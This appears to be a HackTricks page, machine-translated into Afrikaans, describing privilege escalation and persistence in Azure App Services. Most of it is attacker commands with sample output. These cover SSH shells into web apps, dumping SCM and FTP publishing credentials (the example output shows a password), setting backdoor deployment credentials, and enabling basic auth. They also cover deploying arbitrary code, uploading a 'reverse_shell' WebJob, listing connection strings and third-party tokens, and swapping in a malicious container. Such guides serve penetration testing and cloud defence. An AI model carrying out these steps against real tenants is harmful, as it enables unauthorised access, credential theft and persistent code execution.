# Az - App Services Privesc

{{#include ../../../banners/hacktricks-training.md}}

## App Services

Vir meer inligting oor Azure App dienste, kyk:

{{#ref}}
../az-services/az-app-services.md
{{#endref}}

### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

Hierdie toestemmings stel jou in staat om 'n **SSH shell** binne 'n webtoepassing te kry. Hulle stel jou ook in staat om die toepassing te **debug**.

- **SSH in enkele opdrag**:
```bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
```
- **Skep tonnel en verbind dan met SSH**:
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>

## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }

## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
```
- **Debug die toepassing**:
1. Installeer die Azure uitbreiding in VScode.
2. Meld aan in die uitbreiding met die Azure rekening.
3. Lys al die App dienste binne die intekening.
4. Kies die App diens wat jy wil debug, regsklik en kies "Begin Debugging".
5. As die toepassing nie debugging geaktiveer het nie, sal die uitbreiding probeer om dit te aktiveer, maar jou rekening het die toestemming `Microsoft.Web/sites/config/write` nodig om dit te doen.

### Verkry SCM Kredensiale & Aktiveer Basiese Verifikasie

Om die SCM kredensiale te verkry, kan jy die volgende **opdragte en toestemmings** gebruik:

- Die toestemming **`Microsoft.Web/sites/publishxml/action`** laat toe om te bel:
```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
```
Let op hoe die **gebruikersnaam altyd dieselfde is** (behalwe in FTP wat die naam van die app aan die begin voeg) maar die **wagwoord is dieselfde** vir al hulle.

Boonop is die **SCM URL `<app-name>.scm.azurewebsites.net`**.

- Die toestemming **`Microsoft.Web/sites/config/list/action`** laat toe om te bel:
```bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
```
Let op hoe die **bewyse dieselfde is** as in die vorige opdrag.

- 'n Ander opsie sou wees om **jou eie bewys te stel** en dit te gebruik:
```bash
# Show if any user is configured (password won't be shown)
az webapp deployment user show

# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'

# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
```
Dan kan jy hierdie inligting gebruik om **toegang te verkry tot die SCM en FTP platforms**. Dit is ook 'n uitstekende manier om volharding te handhaaf.

Onthou dat jy om toegang tot die SCM-platform vanaf die **web te verkry, moet jy toegang hê tot `<SCM-URL>/BasicAuth`**.

> [!WARNING]
> Let daarop dat elke gebruiker sy eie inligting kan konfigureer deur die vorige opdrag aan te roep, maar as die gebruiker nie genoeg regte het om toegang tot die SCM of FTP te verkry nie, sal die inligting nie werk nie.

- As jy sien dat daardie inligting **REDACTED** is, is dit omdat jy **die SCM basiese verifikasie opsie moet aktiveer** en daarvoor het jy die tweede toestemming nodig (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
```
### Publiseer kode met SCM-akkrediteer

Net om geldige SCM-akkrediteer te hê, is dit moontlik om **kode** na die App-diens te **publiseer**. Dit kan gedoen word met die volgende opdrag.

Vir hierdie python voorbeeld kan jy die repo aflaai van https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, enige **veranderinge** maak wat jy wil en dan **zip dit deur: `zip -r app.zip .`**.

Dan kan jy die **kode** in 'n webtoepassing publiseer met die volgende opdrag:
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Webjobs: Microsoft.Web/sites/publish/Action | SCM geloofsbriewe

Die genoemde Azure toestemming laat toe om verskeie interessante aksies uit te voer wat ook met die SCM geloofsbriewe uitgevoer kan word:

- Lees **Webjobs** logs:
```bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"

# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
```
- Lees **Webjobs** bronnekode:
```bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'

# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
```
- Skep **deurlopende Webjob**:
```bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"

# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Hierdie toestemmings laat toe om 'n **bestuurde identiteit** aan die App-diens toe te ken, so as 'n App-diens voorheen gecompromitteer was, sal dit die aanvaller in staat stel om nuwe bestuurde identiteite aan die App-diens toe te ken en **privileges te verhoog** na hulle.
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Microsoft.Web/sites/config/list/action

Hierdie toestemming laat toe om die **verbindingstringe** en die **appsettings** van die App-diens te lys, wat sensitiewe inligting soos databasisakkrediteerbes te bevat.
```bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Lees Geconfigureerde Derdeparty Kredensiale

Deur die volgende opdrag uit te voer, is dit moontlik om **die derdeparty kredensiale** wat in die huidige rekening geconfigureer is, te lees. Let daarop dat as daar byvoorbeeld sommige Github-kredensiale in 'n ander gebruiker geconfigureer is, jy nie die token van 'n ander een sal kan toegang nie.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Hierdie opdrag gee tokens terug vir Github, Bitbucket, Dropbox en OneDrive.

Hier is 'n paar opdragvoorbeelde om die tokens te kontroleer:
```bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Update App Code from the source

- As die gekonfigureerde bron 'n derdeparty verskaffer soos Github, BitBucket of 'n Azure Repository is, kan jy die **kode** van die App diens opdateer deur die bronkode in die repository te kompromitteer.
- As die app gekonfigureer is om 'n **remote git repository** (met gebruikersnaam en wagwoord) te gebruik, is dit moontlik om die **URL en basiese outentikasie-inligting** te kry om te kloon en veranderinge te stoot met:
- Gebruik die toestemming **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Gebruik die toestemming **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- As die app gekonfigureer is om 'n **local git repository** te gebruik, is dit moontlik om die **repository te kloon** en **veranderinge** daaraan te stoot:
- Gebruik die toestemming **`Microsoft.Web/sites/sourcecontrols/read`**: Jy kan die URL van die git repo kry met `az webapp deployment source show --name <app-name> --resource-group <res-group>`, maar dit gaan dieselfde wees as die SCM URL van die app met die pad `/<app-name>.git` (bv. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- Om die SCM geloofsbriewe te kry, het jy die toestemming nodig:
- **`Microsoft.Web/sites/publishxml/action`**: Voer dan `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` uit.
- **`Microsoft.Web/sites/config/list/action`**: Voer dan `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>` uit.

> [!WARNING]
> Let daarop dat dit, met die toestemming `Microsoft.Web/sites/config/list/action` en die SCM geloofsbriewe, altyd moontlik is om in 'n webapp te ontplooi (selfs al is dit gekonfigureer om 'n derdeparty verskaffer te gebruik) soos in 'n vorige afdeling genoem.

> [!WARNING]
> Let daarop dat dit, met die onderstaande toestemmings, ook **moontlik is om 'n arbitrêre houer uit te voer** selfs al is die webapp anders gekonfigureer.

### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`

Dit is die stel toestemmings wat toelaat om die **houer wat deur 'n webapp gebruik word** te **wysig**. 'n Aanvaller kan dit misbruik om 'n webapp 'n kwaadwillige houer te laat uitvoer.
```bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
```
{{#include ../../../banners/hacktricks-training.md}}
